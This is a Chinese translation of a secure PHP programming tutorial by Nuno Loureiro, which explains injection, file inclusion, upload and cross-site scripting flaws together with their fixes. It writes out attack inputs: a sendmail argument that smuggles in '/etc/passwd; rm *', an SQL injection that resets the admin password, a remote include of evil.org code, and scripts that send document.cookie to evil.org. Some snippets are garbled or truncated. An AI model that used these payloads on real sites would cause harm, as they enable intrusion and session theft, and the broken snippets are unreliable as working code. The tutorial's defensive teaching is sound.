编写注重安全性的PHP程序

作者:Nuno Loureiro

您时不时会在安全邮件列表中发现关于一些主要Web应用程序的安全公告。大多数时候,问题很容易修复。错误通常发生是因为作者只有五分钟时间来完成他的应用程序,而他的老板正在对他大喊大叫,或者在开发时分心,或者只是在编写安全的Web应用程序方面没有足够的实践经验。

编写安全的Web应用程序并非易事,因为真正的问题不是知识问题,而是实践问题。在编程时记住一些技巧是个好主意。为了帮助记住它们,您应该理解它们为何如此重要。然后,您可以开始在未来改变您的编程实践。了解最常见的威胁和相应的攻击模式,可以大大提高安全性。

本文为理解PHP安全编程奠定了基础,并对该主题进行了更广泛的介绍。您应该记住,这些指南仅识别最常见的威胁以及如何避免这些威胁,同时降低安全风险。

编写安全应用程序的基本规则是:永远不要信任用户输入。验证不足的用户输入是任何Web应用程序中最严重的安全漏洞。换句话说,输入数据应被视为有罪,除非被证明是无辜的。

全局变量作用域

PHP 4.2.0之前的版本默认在全局作用域中注册所有类型的外部变量。因此,无论外部变量还是内部变量,都不能被信任。

请看以下示例

<?php
    if (authenticate_user()) {
        $authenticated = true;
    }
    ...

    if (!$authenticated) {
        die("Authorization required");
    }
?>

如果您通过GET将 $authenticated 设置为 1,如下所示

http://example.com/admin.php?authenticated=1
您将通过先前示例中的最后一个“if”语句。

值得庆幸的是,自4.1.0版本以来,PHP已弃用 register_globals。这意味着GET、POST、Cookie、Server、Environment和Session变量不再位于全局作用域中。为了帮助用户在register_globals关闭的情况下构建PHP应用程序,存在几个新的特殊数组,它们在任何作用域中都自动是全局的。它们包括 $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST 和 $_SESSION。

如果指令 register_globals 开启,请帮自己一个忙,将其关闭。如果您将其关闭,然后验证所有用户输入,那么您就向安全编程迈出了一大步。在许多情况下,类型转换就足以进行验证。

客户端JavaScript表单检查没有任何作用,因为攻击者可以提交任何请求,而不仅仅是表单上可用的请求。以下是它的示例

<?php
    $_SESSION['authenticated'] = false;
    if (authenticate_user()) {
        $_SESSION['authenticated'] = true;
    }
    ...
    if (!$_SESSION['authenticated']) {
        die("Authorization required");
    }
?>
数据库交互

大多数PHP应用程序都使用数据库,并且它们使用Web表单的输入来构造SQL查询字符串。这种类型的交互可能是一个安全问题。

想象一下一个PHP脚本,它编辑来自某个表的数据,并使用一个Web表单POST到同一个脚本。脚本的开头检查是否提交了表单,如果提交了,它将更新用户选择的表。

<?php
    if ($update_table_submit) {
        $db->query("update $table set name=$name");
    }
?>

如果您不验证来自Web表单的变量 $table,并且不检查 $update_table_submit 变量是否来自表单(通过 $POST['update_table_submit']),您可以通过GET将其值设置为您想要的任何值。您可以像这样操作

http://example.com/edit.php?update_table_submit
=1&table=users+set+password%3Daaa
+where+user%3D%27admin%27+%23
这会导致以下SQL查询
update users set password=aaa
  where user="admin" # set name=$name
对 $table 变量的简单验证是检查其内容是否仅包含字母,或者是否仅为一个单词 (if (count(explode("",$table)) { ... })。
调用外部程序

有时我们需要在PHP脚本中调用外部程序(使用 system(), exec(), popen(), passthru() 或反引号运算符)。如果程序名称或其参数基于用户输入,则调用外部程序是最危险的安全威胁之一。实际上,大多数这些函数的PHP手册页面都包含一个警告:“如果您要允许来自用户输入的数据传递给此函数,那么您应该使用 escapeshellarg() 或 escapeshellcmd() 来确保用户无法欺骗系统执行任意命令。”

想象以下示例

<?php
    $fp = popen('/usr/sbin/sendmail -i '. $to, 'w');
?>

用户可以通过以下方式控制上面变量 $to 的内容

http://example.com/send.php?$to=evil%40evil.org+
%3C+%2Fetc%2Fpasswd%3B+rm+%2A
此输入的结果将是运行以下命令
/usr/sbin/sendmail -i evil@evil.org
/etc/passwd; rm *
解决此安全问题的简单方法是
<?php
    $fp = popen('/usr/sbin/sendmail -i '.
                escapeshellarg($to), 'w');
?>
更好的是,使用 regexp 检查 $to 变量中的内容是否为有效的电子邮件地址。
文件上传

用户上传的文件也可能存在问题,因为PHP处理它们的方式。PHP将在全局作用域中定义一个变量,该变量的名称与提交的Web表单中的文件输入标记相同。然后,它将使用上传的文件内容创建此文件,但它不会检查文件名是否有效或是否为上传的文件。

<?php
    if ($upload_file && $fn_type == 'image/gif' &&
            $fn_size < 100000) {
        copy($fn, 'images/');
        unlink($fn);
    }
?>
<form method="post" name="fileupload"
 action="fupload.php" enctype="multipart/form-data">
File: <input type="file" name="fn">
<input type="submit" name="upload_file"
 value="Upload">

恶意用户可以创建自己的表单,指定包含敏感信息的其他文件的名称并提交它,从而导致处理该其他文件。例如,

<form method="post" name="fileupload"
 action="fupload.php">
<input type="hidden" name="fn"
 value="/var/www/html/index.php">
<input type="hidden" name="fn_type"
value="text">
<input type="hidden" name="fn_size"
value="22">
<input type="submit" name="upload_file"
 value="Upload">
上面的输入将导致将文件 /var/www/html/index.php 移动到 images/。

解决此问题的方法是使用 move_uploaded_file() 或 is_uploaded_file()。但是,用户上传的文件还存在其他一些问题。想象一下,您有一个Web应用程序,允许用户上传小于100Kb的图像。在这种情况下,即使使用 move_uploaded_file() 或 is_uploaded_file() 也无法解决问题。攻击者仍然可以提交他的表单,指定文件大小,如前面的示例所示。这里的解决方案是使用超全局数组 $_FILES 来检查用户上传的文件信息

<?php
    if ($upload_file &&
        $_FILES['fn']['type'] ==
'image/gif
        $_FILES['fn']['size'] < 100000) {
            move_uploaded_file(
                $_FILES['fn']['tmp_name'],
                'images/');
    }
?>
包含文件

在PHP中,您可以使用 include(), include_once(), require() 和 require_once() 来包含本地或远程文件。这是一个很好的功能,因为它允许您为类、重用代码等设置单独的文件,从而提高代码的可维护性和可读性。

然而,包含远程文件的概念本身就很危险,因为远程站点可能被入侵,或者网络连接可能被欺骗。在任何一种情况下,您都在将未知且可能具有敌意的代码直接注入到您的脚本中。

包含文件还会带来其他一些问题,特别是当您包含文件名或路径基于用户输入的文件时。想象一下一个脚本,它包含多个HTML文件并将它们以适当的布局显示出来

<?php
include($layout);
?>

如果有人通过GET传递 $layout 变量,您可能可以想象到可能会产生的后果

http://example.com/leftframe.php?layout=/etc/passwd
http://example.com/leftframe.php?layout=
http://evil.org/nasty.html
其中 nasty.html 包含几行代码,例如
<?php
    passthru('rm *');
    passthru('mail
?>
为了避免这种可能性,您应该验证您在 include() 中使用的变量,可以使用 regexp
跨站脚本攻击

跨站脚本攻击 (CSS) 一直受到媒体的广泛关注。在 BugTraq 邮件存档中简单搜索一下,仅在2002年6月就检索到15份关于多个应用程序中跨站脚本漏洞的不同报告。

这种攻击直接针对您网站的用户。它通过欺骗受害者发出特定且精心制作的HTTP请求来实现这一点。这可以通过HTML电子邮件消息中的链接、基于Web的论坛或嵌入到恶意网页中来发生。受害者可能不知道他正在发出这样的请求,例如,如果链接嵌入到恶意网页中,并且攻击甚至可能不需要用户的配合。也就是说,当用户的浏览器收到请求的页面时,恶意脚本将在用户的安全上下文中被解析和执行。

现代客户端脚本语言还可以执行许多可能危险的功能。例如,尽管JavaScript只允许原始站点访问其自己的私有cookie,但攻击者可以通过利用编码不佳的脚本来绕过这种限制。

CSS攻击的常见场景是,当用户登录到Web应用程序并将其有效会话存储在会话cookie中时。攻击者从应用程序的某个区域构造一个指向该应用程序的链接,该区域不检查用户输入的有效性。它本质上处理受害者请求的内容并返回它。

以下是一个此类场景的示例,以说明我的观点。想象一个Web邮件应用程序,它盲目地在邮箱列表中打印邮件主题,如下所示

<?php
    ...
    echo "<TD> $subject </TD>";
?>

在这种情况下,攻击者可以在电子邮件主题中包含JavaScript代码,当用户打开邮箱时,该代码将在用户的浏览器中执行。

然后,此漏洞可用于窃取用户的cookie并允许攻击者接管用户的会话,方法是包含如下所示的JavaScript代码

<script>
self.location.href=
"http://evil.org/cookie-grab.html?cookies="
+escape(document.cookie)
</script>

当用户打开邮箱时,他将被重定向到JavaScript代码中指定的URL,其中包含受害者的cookie。然后,攻击者只需检查他的Web服务器日志即可知道受害者的会话cookie。

可以通过在打印变量时使用 htmlspecialchars() 来修复漏洞。 htmlspecialchars() 将特殊字符转换为HTML实体,这意味着它会将 <script> 标签中的 < 和 > 字符转换为它们各自的实体,&lt 和 &gt。当受害者的浏览器解析页面时,它不会做任何危险的事情,因为 &ltscript&gr; 对浏览器来说意味着简单的文本。

因此,针对此类攻击的可能解决方案是

<?php
    ...
    echo "<TD> ".htmlspecialchars($subject)."
</TD>";
?>

另一个常见的场景涉及将变量盲目地打印到Web表单的隐藏输入部分

<input type="hidden" name="page"
 value="<?php echo $page; ?>">
考虑以下URL
http://example.com/page.php?page=">
<script>self.location.href="http://evil.org/
css-attack.html?cookies="
+escape(document.cookie)</script>
如果攻击者可以让我们选择这样的链接,那么我们的浏览器可能会像前面的示例一样被重定向到攻击者的站点。但是由于变量 $page 是整数,您可以强制转换它或使用PHP函数 intval() 来避免此问题
<input type="hidden" name="page"
 value="<?php echo intval($page); ?>">
同样,为了避免此类攻击,您应该始终执行用户验证,或确保用户提交的数据在显示之前始终进行HTML转义。
结论

我希望这些指南能帮助您拥有更安全的Web应用程序。这里的重要教训是永远不要信任用户输入,永远不要信任在脚本之间传递的变量(例如通过GET),永远不要信任来自Web表单的变量,并且如果变量未在您的脚本中初始化,则永远不要信任它。如果无法在脚本中初始化变量,请务必对其进行验证。

Programming PHP with Security in Mind
Nuno Loureiro 是 Ethernet, lda (www.eth.pt) 的联合创始人。他编程PHP已超过三年,并协调了多个大型Web应用程序。他喜欢登山和徒步旅行,可以通过 nuno@eth.pt 与他联系。
加载Disqus评论